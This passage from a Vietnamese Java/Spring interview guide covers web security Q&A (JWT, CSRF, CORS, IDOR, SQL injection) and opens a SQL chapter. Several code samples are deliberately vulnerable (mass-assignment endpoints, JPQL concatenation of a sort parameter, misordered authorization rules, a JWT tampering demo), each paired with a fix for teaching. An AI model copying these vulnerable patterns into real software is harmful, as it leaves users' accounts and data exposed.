Giải thích: Bản sai (dòng comment) trả nguyên thông điệp của exception: kẻ tấn công biết tên bảng, tên constraint, loại DB, thậm chí một phần câu SQL, rồi dùng chúng để tinh chỉnh tấn công SQL injection. Bản sửa chỉ trả thông điệp chung cùng một errorId; khi người dùng báo lỗi, đội hỗ trợ tìm errorId trong log để xem chi tiết. Kết hợp với server.error.include-stacktrace=never và server.error.include-message=never (đều là mặc định của Boot 3) để trang lỗi mặc định cũng không lộ gì.
Mass assignment: code sai và code sửa
	@RestController
@RequestMapping("/api/me")
public class ProfileController {
    private final UserService userService;
    public ProfileController(UserService userService) { this.userService = userService; }
 
    @PutMapping("/v1")
    public void updateWrong(@RequestBody AppUser user) { // WRONG: the client controls every entity field
        userService.save(user);                          // body {"id":1,"role":"ADMIN"} -> privilege escalation
    }
 
    public record UpdateProfileRequest(@NotBlank String displayName, String phone) {} // only editable fields
 
    @PutMapping
    public void update(@Valid @RequestBody UpdateProfileRequest req, @AuthenticationPrincipal Jwt jwt) {
        userService.updateProfile(jwt.getSubject(), req.displayName(), req.phone()); // copy allowed fields only
    }
}



Giải thích: Bản sai bind JSON thẳng vào entity AppUser, nên Jackson gán mọi field có trong body, kể cả role, id của người khác, hay balance. User thường gửi thêm "role":"ADMIN" là tự nâng quyền. Bản sửa dùng DTO chỉ có các field được phép sửa, lấy id người dùng từ token, và service chỉ chép đúng các field đó vào entity. Field lạ trong JSON bị bỏ qua.
5.7 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Hiểu sâu): Mô tả điều gì xảy ra với một request có JWT, từ lúc vào ứng dụng cho đến khi tới controller?
Request đi qua DelegatingFilterProxy → FilterChainProxy → SecurityFilterChain khớp URL. BearerTokenAuthenticationFilter lấy token từ header, JwtDecoder verify chữ ký và các claim, JwtAuthenticationConverter chuyển claim thành authorities, Authentication được đặt vào SecurityContextHolder. AuthorizationFilter kiểm tra rule URL; qua được thì tới DispatcherServlet, rồi @PreAuthorize kiểm tra tiếp ở tầng method.
	CÂU HỎI ĐÀO SÂU
"Trong code @Async, SecurityContextHolder.getContext().getAuthentication() trả về null, vì sao?" — Context mặc định lưu trong ThreadLocal, thread của executor không có nó. Dùng DelegatingSecurityContextExecutor hoặc truyền thông tin user tường minh vào method.



Câu hỏi (Cơ bản): 401 khác 403 thế nào? Spring Security trả chúng từ đâu?
401 là chưa xác thực hoặc credential không hợp lệ, 403 là đã xác thực nhưng không đủ quyền. ExceptionTranslationFilter bắt AuthenticationException và gọi AuthenticationEntryPoint (401), bắt AccessDeniedException với user đã xác thực và gọi AccessDeniedHandler (403). Muốn lỗi có format thống nhất thì tùy biến hai thành phần này.
Câu hỏi (Thực chiến): Chọn session hay JWT cho hệ thống của bạn? Vì sao?
Câu trả lời tốt bắt đầu từ bối cảnh: web monolith cùng domain thì session cộng Redis session store đơn giản, thu hồi dễ. Nhiều client (mobile, SPA, service khác), có authorization server tập trung, cần scale ngang không chia sẻ state thì JWT phù hợp, kèm access token ngắn hạn và refresh token xoay vòng lưu phía server.
	BẪY THƯỜNG GẶP
"JWT tốt hơn vì stateless" mà không nói được cách logout hay thu hồi token khi tài khoản bị khóa. Người phỏng vấn sẽ hỏi ngay câu đó.



	CÂU HỎI ĐÀO SÂU
"User đổi mật khẩu, làm sao vô hiệu mọi token cũ?" — Thu hồi toàn bộ refresh token của user trong DB, và với access token còn hạn thì dùng denylist theo jti hoặc so tokenVersion/passwordChangedAt với claim iat.



Câu hỏi (Hiểu sâu): Khi nào được tắt CSRF?
Khi API không dựa vào cookie để xác thực: token gửi trong header Authorization, trình duyệt không tự gắn, nên trang độc hại không giả mạo được. Nếu dùng session cookie hoặc để JWT trong cookie thì phải giữ CSRF protection.
	BẪY THƯỜNG GẶP
Tắt CSRF "vì nó làm POST bị 403" trong khi ứng dụng vẫn đăng nhập bằng session cookie. Đó là mở cửa cho CSRF thật.



Câu hỏi (Cơ bản): CORS có bảo vệ API khỏi bị gọi trái phép không?
Không. CORS chỉ quyết định JavaScript ở origin khác có được đọc response hay không; curl hay Postman gọi thẳng được. Bảo vệ API là việc của authentication, authorization và rate limiting.
Câu hỏi (Hiểu sâu): OAuth2 và OIDC khác nhau thế nào? Vì sao cần PKCE?
OAuth2 là ủy quyền truy cập tài nguyên (access token), OIDC bổ sung định danh (ID token) để biết user là ai. PKCE gắn authorization code với một bí mật chỉ client biết (code_verifier), nên code bị chặn giữa đường cũng vô dụng; nó cần thiết cho public client (SPA, mobile) không giữ được client secret, và hiện được khuyến nghị cho mọi client.
Câu hỏi (Thực chiến): API GET /orders/{id} của bạn có lỗ hổng gì tiềm ẩn? Bạn chặn thế nào?
IDOR: user đã đăng nhập đổi id để xem đơn của người khác. Authorization không dừng ở "đã đăng nhập", phải kiểm tra quyền trên từng đối tượng: truy vấn kèm điều kiện chủ sở hữu, hoặc @PreAuthorize gọi bean kiểm tra quyền. Dùng UUID thay cho id tăng dần chỉ làm khó đoán hơn, không thay được kiểm tra quyền.
Câu hỏi (Cơ bản): Authentication và authorization khác nhau thế nào? Cho ví dụ.
Authentication xác minh bạn là ai, authorization quyết định bạn được làm gì; authentication luôn diễn ra trước. Ví dụ: đăng nhập bằng username/password hay gửi JWT hợp lệ là authentication; rule "chỉ admin được DELETE" hay "user chỉ xem được đơn của mình" là authorization. Trong Spring Security, filter xác thực (như BearerTokenAuthenticationFilter) lo phần đầu, AuthorizationFilter và @PreAuthorize lo phần sau.
Câu hỏi (Cơ bản): Vì sao không lưu mật khẩu dạng plain text, và cũng không dùng SHA-256?
Plain text thì DB lộ là lộ mọi mật khẩu; SHA-256 thì quá nhanh nên bị dò rất rẻ. Hash một chiều bảo đảm server không cần biết mật khẩu gốc mà vẫn kiểm tra được. Nhưng SHA-256 được thiết kế để nhanh: GPU thử hàng tỷ mật khẩu mỗi giây, và SHA-256 không salt còn bị tra ngược bằng bảng tính sẵn. BCrypt/Argon2 tự sinh salt và cố tình chậm (có tham số chi phí), nên dò hàng loạt trở nên quá đắt.
Câu hỏi (Cơ bản): Salt là gì? Có cần giữ bí mật salt không?
Salt là chuỗi ngẫu nhiên riêng cho từng mật khẩu, ghép vào trước khi hash, để cùng một mật khẩu cho ra hash khác nhau. Salt không cần bí mật; BCrypt lưu salt ngay trong chuỗi hash. Mục đích của salt là làm bảng tra sẵn vô dụng và buộc kẻ tấn công dò từng user một, chứ không phải che giấu. (Một giá trị bí mật dùng chung ghép thêm vào, lưu ngoài DB, gọi là pepper, là lớp bảo vệ khác.)
Câu hỏi (Cơ bản): JWT gồm mấy phần? Payload của JWT có bị mã hóa không?
Ba phần: header, payload, signature, nối bằng dấu chấm; payload chỉ được base64url, ai cũng đọc được. Header nói thuật toán ký, payload chứa claim (sub, exp, iss, quyền...), signature bảo đảm hai phần kia không bị sửa. Chữ ký chống sửa, không chống đọc, nên không đặt dữ liệu nhạy cảm vào payload. Muốn giấu nội dung thật sự thì cần JWE (JWT mã hóa), rất ít dùng cho access token.
Câu hỏi (Cơ bản): SecurityContextHolder là gì? Lấy user hiện tại trong controller thế nào?
Là nơi Spring Security giữ Authentication của request hiện tại, mặc định gắn với thread qua ThreadLocal. Trong code có thể gọi SecurityContextHolder.getContext().getAuthentication(), nhưng trong controller nên dùng tham số @AuthenticationPrincipal Jwt jwt (resource server) hoặc Authentication authentication, vì dễ test và không phụ thuộc biến static. Vì dựa trên ThreadLocal, context không tự sang thread khác (@Async, CompletableFuture).
Câu hỏi (Cơ bản): SQL injection là gì và phòng thế nào trong Spring?
Là khi input người dùng được ghép vào câu SQL và DB thực thi nó như lệnh; phòng bằng tham số hóa truy vấn. Dùng ? với JdbcTemplate, :param với JPQL/@Query, hoặc derived query của Spring Data; không bao giờ nối chuỗi input vào SQL. Phần không tham số hóa được như tên cột trong ORDER BY thì kiểm tra theo danh sách trắng. User DB của ứng dụng chỉ nên có quyền tối thiểu để giảm thiệt hại nếu vẫn bị tấn công.
Câu hỏi (Hiểu sâu): Vì sao BCrypt cố tình chậm? Tăng cost từ 10 lên 12 thì sao?
Chậm là để làm đắt việc dò mật khẩu hàng loạt khi DB bị lộ, trong khi một lần đăng nhập hợp lệ chỉ tốn vài chục mili giây. Cost là số mũ: số vòng lặp bằng 2 mũ cost, nên từ 10 lên 12 làm mỗi lần hash chậm gấp 4. Trade-off: endpoint đăng nhập tốn CPU hơn và dễ bị lợi dụng để làm quá tải server, nên cần rate limit cho đăng nhập. Chọn cost sao cho một lần hash mất khoảng 100ms trên phần cứng production là hướng dẫn thường gặp.
	CÂU HỎI ĐÀO SÂU
"Đổi cost hoặc đổi sang Argon2 thì user cũ làm sao?" — Dùng DelegatingPasswordEncoder (tiền tố {bcrypt}, {argon2}); khi user đăng nhập thành công, kiểm tra upgradeEncoding() và lưu lại hash mới. Spring Security có UserDetailsPasswordService làm việc này tự động.



Câu hỏi (Hiểu sâu): Vì sao JWT khó thu hồi? Có những cách nào?
Vì server xác minh JWT chỉ bằng chữ ký và exp, không tra cứu gì, nên không có "chỗ" nào để xóa token đã phát. Token hợp lệ về chữ ký thì được chấp nhận tới lúc hết hạn. Các cách: access token sống ngắn (5–15 phút) để giới hạn thiệt hại; refresh token lưu phía server để chặn việc cấp token mới; denylist theo jti trong Redis với TTL bằng thời gian sống còn lại; hoặc so tokenVersion của user với claim trong token. Hai cách sau đưa trạng thái trở lại, đổi một phần lợi ích stateless lấy khả năng thu hồi.
Câu hỏi (Hiểu sâu): Access token và refresh token khác nhau thế nào? Vì sao cần cả hai?
Access token sống ngắn, gửi kèm mọi request API; refresh token sống dài, chỉ gửi tới endpoint cấp token. Tách đôi để cân bằng: access token lộ thì chỉ dùng được vài phút; refresh token ít khi rời client, lưu phía server nên thu hồi được và xoay vòng để phát hiện bị đánh cắp. Chỉ dùng một token sống dài thì lộ là mất lâu dài; chỉ dùng token sống ngắn thì người dùng phải đăng nhập lại liên tục.
	Tiêu chí
	Access token
	Refresh token

	Thời gian sống
	5–15 phút
	Vài ngày đến vài tuần

	Gửi tới
	Mọi API (resource server)
	Chỉ endpoint /token hoặc /auth/refresh

	Server kiểm tra
	Chữ ký, exp, iss, aud
	Tra DB/Redis, trạng thái đã dùng hay chưa

	Thu hồi
	Khó (chờ hết hạn, denylist)
	Dễ (xóa trong DB)



Câu hỏi (Hiểu sâu): Token có role ADMIN nhưng hasRole("ADMIN") vẫn trả 403. Vì sao?
Vì converter mặc định của resource server chỉ map claim scope/scp thành authority SCOPE_xxx, không đọc claim role tự định nghĩa và không thêm tiền tố ROLE_. Token {"roles":["ADMIN"]} cho ra authority rỗng hoặc chỉ có SCOPE_..., nên hasRole("ADMIN") (tìm ROLE_ADMIN) thất bại, kết quả 403 vì user đã xác thực. Sửa bằng bean JwtAuthenticationConverter như ở mục 5.2. Cách debug nhanh: in authentication.getAuthorities() trong một endpoint thử, hoặc bật log DEBUG của Spring Security.
Câu hỏi (Hiểu sâu): Preflight request là gì? Khi nào trình duyệt gửi nó?
Là request OPTIONS trình duyệt tự gửi trước request cross-origin "không đơn giản" để hỏi server có cho phép không. Request "không đơn giản" là request có method khác GET/HEAD/POST, có header tùy chỉnh như Authorization, hoặc Content-Type khác form/text (ví dụ application/json). Hầu hết lời gọi REST từ SPA đều kích hoạt preflight. Server trả Access-Control-Allow-*, và Access-Control-Max-Age cho phép trình duyệt nhớ kết quả để khỏi hỏi lại mỗi lần. Preflight không mang token, nên filter CORS phải đứng trước filter xác thực.
Câu hỏi (Hiểu sâu): Cookie SameSite giúp gì cho việc chống CSRF? Có thay được CSRF token không?
SameSite bảo trình duyệt không gửi cookie trong request khởi phát từ site khác, nên chặn được phần lớn CSRF; nhưng nó là lớp bổ sung, không thay hoàn toàn CSRF token. Strict: không gửi cookie trong mọi request cross-site, kể cả khi bấm link từ email (người dùng bị "đăng xuất" khi vào từ link ngoài). Lax (mặc định của Chrome khi không khai báo): gửi cookie khi điều hướng GET cấp cao nhất, chặn POST cross-site. Giới hạn: "site" tính theo domain gốc, nên subdomain bị chiếm (blog.shop.vn) vẫn là cùng site với shop.vn; GET có tác dụng phụ vẫn bị lợi dụng với Lax.
Câu hỏi (Hiểu sâu): Vì sao refresh token lưu trong DB nên được hash, giống mật khẩu?
Vì refresh token là một loại mật khẩu: ai có nó là lấy được access token mới; DB lộ mà token lưu thô thì kẻ tấn công đăng nhập được thành mọi user. Khác mật khẩu, refresh token là chuỗi ngẫu nhiên dài (ví dụ 256 bit) nên không bị dò bằng từ điển, và một hash nhanh như SHA-256 là đủ, không cần BCrypt. Khi client gửi token lên, server hash rồi tra DB. Đây là cách nối kiến thức giữa lưu mật khẩu (mục 5.1) và thiết kế refresh token (mục 5.3).
Câu hỏi (Thực chiến): Sau khi thêm Spring Security, mọi request POST từ Postman đều bị 403 dù GET vẫn chạy. Vì sao?
Vì CSRF protection được bật mặc định và POST không mang CSRF token, CsrfFilter trả 403. GET không bị kiểm tra CSRF vì được coi là không thay đổi dữ liệu. Cách xử lý đúng tùy kiểu xác thực: nếu API là stateless dùng Bearer token trong header thì tắt CSRF cho chain đó và giải thích được lý do; nếu ứng dụng dùng session cookie thì giữ CSRF và cho client gửi token (ví dụ header X-XSRF-TOKEN đọc từ cookie XSRF-TOKEN). Tắt CSRF chỉ "vì nó làm POST lỗi" là câu trả lời mất điểm.
Câu hỏi (Thực chiến): Frontend báo lỗi "blocked by CORS policy: No 'Access-Control-Allow-Origin' header". Bạn điều tra theo thứ tự nào?
Mở tab Network xem preflight OPTIONS trả status gì và có header gì, rồi đối chiếu với cấu hình CORS và vị trí của nó trong filter chain. Các nguyên nhân hay gặp: preflight bị 401/403 vì chưa bật http.cors(...) nên Spring Security chặn trước (cấu hình CORS chỉ ở Spring MVC là không đủ); origin trong cấu hình khác thật (thiếu cổng :3000, http với https, dấu / ở cuối); header Authorization chưa có trong allowed headers; gateway/nginx phía trước cũng thêm hoặc xóa header CORS, gây trùng lặp. Lưu ý lỗi 500 từ server cũng có thể hiện như lỗi CORS nếu response lỗi thiếu header.
Câu hỏi (Thực chiến): Bạn nghi private key dùng để ký JWT đã bị lộ. Bạn xử lý thế nào?
Coi như mọi token đều có thể bị giả mạo: xoay khóa ngay, loại khóa cũ khỏi JWKS, buộc đăng nhập lại. Các bước: sinh cặp khóa mới với kid mới và bắt đầu ký bằng nó; gỡ public key cũ khỏi JWKS để resource server từ chối mọi token mang kid cũ (chú ý resource server có cache JWKS, cần biết thời gian cache hoặc chủ động làm mới); thu hồi toàn bộ refresh token; rà log truy cập để tìm token lạ (claim bất thường, sub không tồn tại). Về lâu dài: khóa nằm trong KMS/Vault, định kỳ xoay khóa, và đây là lý do dùng khóa bất đối xứng để các service chỉ giữ public key.
Câu hỏi (Đọc code): User thường (ROLE_USER) gọi DELETE /api/admin/users/5. Kết quả là gì?
	// inside a @Bean SecurityFilterChain method, http is HttpSecurity
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 
http.authorizeHttpRequests(auth -> auth
        .requestMatchers("/api/auth/**").permitAll()
        .requestMatchers("/api/**").authenticated()
        .requestMatchers("/api/admin/**").hasRole("ADMIN")
        .anyRequest().denyAll());



Đáp án: Request được cho qua (tới controller, có thể trả 200/204) dù user không phải admin. AuthorizationFilter duyệt rule từ trên xuống và dừng ở rule đầu tiên khớp: /api/admin/users/5 không khớp /api/auth/**, nhưng khớp /api/** với yêu cầu chỉ là authenticated(), user đã đăng nhập nên qua. Rule hasRole("ADMIN") bên dưới không bao giờ được xét tới. Sửa: đặt /api/admin/** lên trước /api/**, rule cụ thể luôn đứng trước rule tổng quát. Nên thêm @PreAuthorize("hasRole('ADMIN')") ở service admin như lớp bảo vệ thứ hai.
Câu hỏi (Đọc code): Đoạn code dưới đây có lỗ hổng gì?
	@Repository
public class UserSearchDao {
    @PersistenceContext
    private EntityManager em;
 
    public List<AppUser> search(String keyword, String sort) {
        return em.createQuery("select u from AppUser u where u.name like :kw order by u." + sort, AppUser.class)
                .setParameter("kw", "%" + keyword + "%")
                .getResultList();
    }
}



Đáp án: Có injection qua tham số sort. keyword an toàn vì được bind bằng :kw, nhưng sort được nối thẳng vào JPQL. Kẻ tấn công gửi sort=name, (select ...) hoặc biểu thức làm lỗi truy vấn để dò cấu trúc dữ liệu (JPQL injection, sau đó thành SQL). Nhiều người nghĩ "đã dùng setParameter là an toàn" mà bỏ sót phần nối chuỗi. Sửa: kiểm tra sort theo danh sách trắng (Set.of("name", "createdAt")), hoặc dùng Sort/Pageable của Spring Data với tên thuộc tính được kiểm tra.
Câu hỏi (Đọc code): @PreAuthorize ở deleteOne có được kiểm tra không?
	@Service
public class DocumentService {
    public void deleteMany(List<Long> ids) {
        ids.forEach(this::deleteOne);
    }
 
    @PreAuthorize("hasRole('ADMIN')")
    public void deleteOne(Long id) { /* delete the document */ }
}



Đáp án: Không, khi được gọi từ deleteMany. @PreAuthorize chạy bằng AOP proxy, còn deleteMany gọi deleteOne qua this, bỏ qua proxy. deleteMany không có annotation nào, nên một user thường gọi deleteMany xóa được mọi tài liệu. Đây là cùng cơ chế self-invocation với @Transactional ở mục 4.5, nhưng hậu quả là lỗ hổng bảo mật. Sửa: đặt @PreAuthorize lên deleteMany (hoặc cả class), hoặc tách deleteOne sang bean khác.
Câu hỏi (Đọc code): Chương trình Java thuần dưới đây in ra gì, và bài học rút ra là gì?
	import java.nio.charset.StandardCharsets;
import java.util.Base64;
 
public class JwtQuiz {
    public static void main(String[] args) {
        String payload = "{\"sub\":\"alice\",\"roles\":[\"USER\"]}";
        String encoded = Base64.getUrlEncoder().withoutPadding()
                .encodeToString(payload.getBytes(StandardCharsets.UTF_8));
        String tampered = new String(Base64.getUrlDecoder().decode(encoded), StandardCharsets.UTF_8)
                .replace("USER", "ADMIN");
        System.out.println(tampered);
        System.out.println(encoded.equals(Base64.getUrlEncoder().withoutPadding()
                .encodeToString(tampered.getBytes(StandardCharsets.UTF_8))));
    }
}



Đáp án: In ra {"sub":"alice","roles":["ADMIN"]} rồi false. Bất kỳ ai cũng giải mã, sửa và mã hóa lại được payload mà không cần khóa, vì base64url không phải mã hóa bí mật. Điều duy nhất ngăn token giả là chữ ký: payload mới không khớp chữ ký cũ, và kẻ tấn công không có private key để ký lại. Vì vậy server bắt buộc phải verify chữ ký với thuật toán cố định; một server chỉ decode payload rồi tin vào roles là mở cửa cho mọi người tự phong admin.
Câu hỏi (Đọc code): Tìm lỗi bảo mật trong endpoint đổi thông tin tài khoản dưới đây.
	@RestController
public class AccountController {
    private final AppUserRepository users;
    public AccountController(AppUserRepository users) { this.users = users; }
 
    @PutMapping("/api/users/{id}")
    public AppUser update(@PathVariable Long id, @RequestBody AppUser body) {
        body.setId(id);
        return users.save(body);
    }
}



Đáp án: Có ít nhất ba lỗi. (1) IDOR: bất kỳ user đã đăng nhập nào đổi id trên URL là sửa được tài khoản người khác, không có kiểm tra sở hữu. (2) Mass assignment: body là entity, nên gửi kèm "role":"ADMIN" hay "passwordHash":"..." là ghi đè được quyền và mật khẩu. (3) Lộ dữ liệu: trả nguyên entity về client, có thể lộ passwordHash và field nội bộ. Sửa: lấy user từ token thay vì id trên URL (hoặc kiểm tra id trùng user hiện tại/admin), nhận DTO chỉ gồm field được sửa, trả về DTO response không có field nhạy cảm.
5.8 Tóm tắt trọng tâm
1. Authentication xác minh danh tính (sai thì 401), authorization kiểm tra quyền (thiếu thì 403); authentication luôn đi trước.
1. Spring Security là chuỗi filter chạy trước DispatcherServlet, nên lỗi bảo mật được xử lý bởi ExceptionTranslationFilter, không phải @RestControllerAdvice.
1. Authentication của request nằm trong SecurityContextHolder dựa trên ThreadLocal, nên không tự sang thread khác.
1. Mật khẩu phải hash bằng BCrypt/Argon2 vì chúng có salt riêng và cố tình chậm; so bằng matches(), không so chuỗi hash.
1. Cấu hình Spring Security 6 bằng bean SecurityFilterChain và lambda DSL; rule requestMatchers khớp theo thứ tự nên rule cụ thể đặt trước.
1. @PreAuthorize chạy qua proxy nên cũng dính self-invocation như @Transactional.
1. JWT chỉ được ký, không được mã hóa, nên ai cũng đọc được payload; server phải verify chữ ký, exp, iss, aud với thuật toán cố định.
1. JWT khó thu hồi vì server không lưu gì; bù bằng access token ngắn hạn, refresh token lưu server có xoay vòng, và denylist khi cần.
1. OAuth2 là ủy quyền (access token), OIDC thêm định danh (ID token); Authorization Code + PKCE là luồng khuyến nghị vì code bị chặn cũng không đổi được token.
1. CORS là cơ chế của trình duyệt quyết định JavaScript nào được đọc response, không bảo vệ server khỏi curl hay Postman.
1. CSRF lợi dụng việc trình duyệt tự gửi cookie; chỉ được tắt CSRF khi credential nằm trong header Authorization.
1. Chống SQL injection bằng tham số hóa và danh sách trắng, vì nối chuỗi biến input thành lệnh SQL.
1. Chống IDOR bằng kiểm tra quyền sở hữu trong từng truy vấn, vì "đã đăng nhập" không có nghĩa là "được xem mọi thứ".
1. Nhận input bằng DTO và trả lỗi chung chung kèm error id, vì entity và thông điệp exception lộ quá nhiều.
5.9 Checklist ôn tập
1. Phân biệt authentication/authorization, 401/403 và nơi Spring Security sinh ra chúng.
1. Vẽ được luồng DelegatingFilterProxy → FilterChainProxy → SecurityFilterChain.
1. Mô tả AuthenticationManager, AuthenticationProvider, UserDetailsService, PasswordEncoder.
1. Giải thích vì sao BCrypt/Argon2 thay vì SHA-256 trần.
1. Viết được SecurityFilterChain kiểu Spring Security 6 (lambda DSL, requestMatchers).
1. Dùng @EnableMethodSecurity, @PreAuthorize, biết giới hạn self-invocation.
1. Trade-off session vs JWT, cấu trúc JWT, các claim phải kiểm tra.
1. Thiết kế refresh token xoay vòng, thu hồi token, nơi lưu token phía client.
1. Giải thích OAuth2 vs OIDC, Authorization Code + PKCE, vai trò resource server.
1. Phân biệt CORS và CSRF, biết khi nào được tắt CSRF.
1. Nêu cách phòng SQL injection, XSS, IDOR, mass assignment, lộ thông tin qua lỗi.
Chương 6. Database, SQL và JPA/Hibernate
Phần lớn sự cố production tôi từng xử lý nằm ở tầng dữ liệu: query chậm vì thiếu index, N+1 làm API từ 50ms thành 5 giây, hai người cùng mua món hàng cuối cùng, connection pool cạn kiệt. Vì vậy tôi dành nhiều thời gian nhất cho phần này. Tôi không cần bạn thuộc cú pháp, tôi cần bạn đọc được EXPLAIN, biết Hibernate sinh ra câu SQL gì, và biết chọn cơ chế khóa phù hợp.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Viết SQL thực chiến: JOIN, GROUP BY/HAVING, tìm trùng, top N mỗi nhóm bằng window function.
1. Hiểu index ở mức cấu trúc: B-Tree, composite index, covering index, khi nào index bị bỏ qua.
1. Nắm isolation level, anomaly, MVCC, và khác biệt mặc định giữa MySQL và PostgreSQL.
1. Chọn đúng optimistic/pessimistic lock, xử lý deadlock.
1. Hiểu persistence context, dirty checking, lazy loading, N+1, batch insert và connection pool.



6.1 SQL cốt lõi
	NHẮC LẠI KIẾN THỨC
Chương này xây trên SQL cơ bản ở N2.1–N2.3 (ràng buộc, SELECT, JOIN, GROUP BY, subquery) và transaction ở N2.4. Nhắc nhanh: JOIN ghép dòng của hai bảng theo điều kiện trong ON; GROUP BY gom nhiều dòng có cùng giá trị thành một nhóm để tính hàm tổng hợp như COUNT, SUM.



Bộ dữ liệu mẫu dùng xuyên suốt chương
Để mọi query trong chương có kết quả cụ thể, tôi dùng chung một bộ dữ liệu nhỏ gồm khách hàng, đơn hàng và nhân viên. Bạn chép hai khối dưới vào SQLite, MySQL 8 hoặc PostgreSQL là chạy được.
	CREATE TABLE customers (id BIGINT PRIMARY KEY, name VARCHAR(50) NOT NULL);
CREATE TABLE orders (
    id          BIGINT PRIMARY KEY,
    customer_id BIGINT NOT NULL REFERENCES customers(id),
    status      VARCHAR(20) NOT NULL, -- NEW, PAID, CANCELLED
    total       INT NOT NULL,
    created_at  TIMESTAMP NOT NULL
);
CREATE TABLE employees (
    id            BIGINT PRIMARY KEY,
    name          VARCHAR(50) NOT NULL,
    department_id BIGINT NOT NULL,
    salary        INT NOT NULL
);



	INSERT INTO customers VALUES (1, 'An'), (2, 'Bình'), (3, 'Chi');
INSERT INTO orders VALUES
    (101, 1, 'PAID', 300, '2026-09-01 09:00'), (102, 1, 'NEW', 150, '2026-09-01 10:00'),
    (103, 2, 'PAID', 200, '2026-09-02 08:00'), (104, 2, 'PAID', 500, '2026-09-02 08:00'),
    (105, 1, 'CANCELLED', 80, '2026-09-03 07:30');
INSERT INTO employees VALUES
    (1, 'Lan', 10, 5000), (2, 'Minh', 10, 5000), (3, 'Nga', 10, 4000), (4, 'Oanh', 10, 3000),
    (5, 'Phúc', 10, 2000), (6, 'Quân', 20, 4500), (7, 'Sơn', 20, 3500);



Giải thích: Khối đầu tạo ba bảng, khối sau nạp dữ liệu. Bảng orders trông như sau:
	id
	Khách (customer_id)
	status, total
	created_at

	101
	An (1)
	PAID, 300
	2026-09-01 09:00

	102
	An (1)
	NEW, 150
	2026-09-01 10:00

	103
	Bình (2)
	PAID, 200
	2026-09-02 08:00

	104
	Bình (2)
	PAID, 500
	2026-09-02 08:00

	105
	An (1)
	CANCELLED, 80
	2026-09-03 07:30



Dữ liệu được cố ý chọn để lộ các bẫy hay gặp:
1. Khách Chi chưa có đơn nào, dùng để thấy khác biệt giữa INNER JOIN và LEFT JOIN.
1. Đơn 103 và 104 trùng created_at, dùng để thấy vì sao phân trang keyset cần cột phụ id.
1. Nhân viên Lan và Minh cùng lương 5000 ở phòng 10, dùng để phân biệt ROW_NUMBER, RANK, DENSE_RANK.
JOIN
	Loại
	Kết quả

	INNER JOIN
	Chỉ các dòng khớp ở cả hai bảng

	LEFT JOIN
	Mọi dòng bảng trái, bảng phải không khớp thì NULL

	RIGHT JOIN
	Ngược lại LEFT JOIN, thực tế ít dùng

	FULL OUTER JOIN
	Mọi dòng của cả hai bảng; MySQL không hỗ trợ, phải UNION hai LEFT JOIN

	CROSS JOIN
	Tích Descartes, mọi cặp dòng



Bẫy hay gặp: LEFT JOIN orders o ... WHERE o.status = 'PAID' biến LEFT JOIN thành INNER JOIN, vì các dòng NULL bị WHERE loại. Muốn giữ khách hàng chưa có đơn, đặt điều kiện vào ON.
Ví dụ: đặt điều kiện ở ON hay ở WHERE
Yêu cầu: liệt kê mọi khách hàng kèm các đơn đã thanh toán; khách chưa có đơn PAID vẫn phải hiện ra. Hai câu dưới chỉ khác chỗ đặt điều kiện status:
	-- Wrong: the WHERE filter removes customers without a PAID order
SELECT c.name, o.id, o.status
FROM customers c LEFT JOIN orders o ON o.customer_id = c.id
WHERE o.status = 'PAID';
 
-- Right: the filter lives in ON, unmatched customers keep NULL columns
SELECT c.name, o.id, o.status
FROM customers c LEFT JOIN orders o ON o.customer_id = c.id AND o.status = 'PAID';



Kết quả trên dữ liệu mẫu:
	name
	id
	status
	Câu nào trả dòng này

	An
	101
	PAID
	Cả hai câu

	Bình
	103
	PAID
	Cả hai câu

	Bình
	104
	PAID
	Cả hai câu

	Chi
	NULL
	NULL
	Chỉ câu thứ hai



Giải thích: LEFT JOIN sinh dòng Chi | NULL | NULL vì Chi không có đơn nào khớp. Ở câu thứ nhất, WHERE chạy sau JOIN và so NULL = 'PAID'; trong SQL, so sánh với NULL cho kết quả UNKNOWN chứ không phải TRUE, nên dòng của Chi bị loại và kết quả giống hệt INNER JOIN. Ở câu thứ hai, điều kiện nằm trong ON nên nó chỉ quyết định "đơn nào được ghép vào", còn mọi dòng của bảng bên trái luôn được giữ. Quy tắc nhớ: với LEFT JOIN, điều kiện lên bảng bên phải đặt ở ON; điều kiện lên bảng bên trái đặt ở WHERE.
WHERE, GROUP BY, HAVING và thứ tự thực thi logic
Thứ tự thực thi logic: FROM/JOIN → WHERE → GROUP BY → HAVING → SELECT → DISTINCT → ORDER BY → LIMIT. Vì vậy WHERE lọc từng dòng trước khi gom nhóm và không dùng được hàm tổng hợp; HAVING lọc nhóm sau khi gom. Điều kiện không liên quan đến aggregate nên đặt ở WHERE để giảm dữ liệu sớm. MySQL từ 5.7 bật ONLY_FULL_GROUP_BY: cột trong SELECT phải nằm trong GROUP BY hoặc trong hàm tổng hợp.
Bài toán hay gặp cả khi phỏng vấn lẫn khi dọn dữ liệu thật: bảng users lỡ có email trùng vì thiếu ràng buộc UNIQUE, cần liệt kê các email trùng rồi xóa bản thừa.
	-- Find duplicated emails
SELECT email, COUNT(*) AS cnt
FROM users
GROUP BY email
HAVING COUNT(*) > 1; -- keep only groups with 2 or more rows
 
-- Delete duplicates, keep the smallest id (MySQL 8+, PostgreSQL)
DELETE FROM users
WHERE id IN (
    SELECT id FROM (
        -- number rows 1, 2, 3... per email, the smallest id gets 1
        SELECT id, ROW_NUMBER() OVER (PARTITION BY email ORDER BY id) AS rn
        FROM users
    ) t -- wrap in derived table t to avoid MySQL error 1093
    WHERE t.rn > 1 -- every row from the 2nd one is a duplicate
);



Giải thích: Giả sử bảng có các dòng (1, a@x.vn), (2, b@x.vn), (3, a@x.vn), (4, a@x.vn).
1. Query thứ nhất gom theo email rồi dùng HAVING lọc nhóm, trả về đúng một dòng a@x.vn | 3. Không viết được WHERE COUNT(*) > 1 vì WHERE chạy trước khi gom nhóm.
1. Query thứ hai: subquery bên trong đánh số rn theo từng email, được id 1 → 1, id 3 → 2, id 4 → 3, id 2 → 1. Lọc rn > 1 còn id 3 và 4, nên DELETE xóa hai dòng này và giữ id 1, id 2. Phải lọc rn ở tầng ngoài vì window function được tính sau WHERE; lớp bọc t còn giúp tránh lỗi 1093 của MySQL ("không được SELECT từ chính bảng đang DELETE").
1. Sau khi dọn trùng, thêm UNIQUE constraint; kiểm tra trùng ở tầng Java không chống được race condition.
Ví dụ: WHERE và HAVING chạy trên dữ liệu mẫu
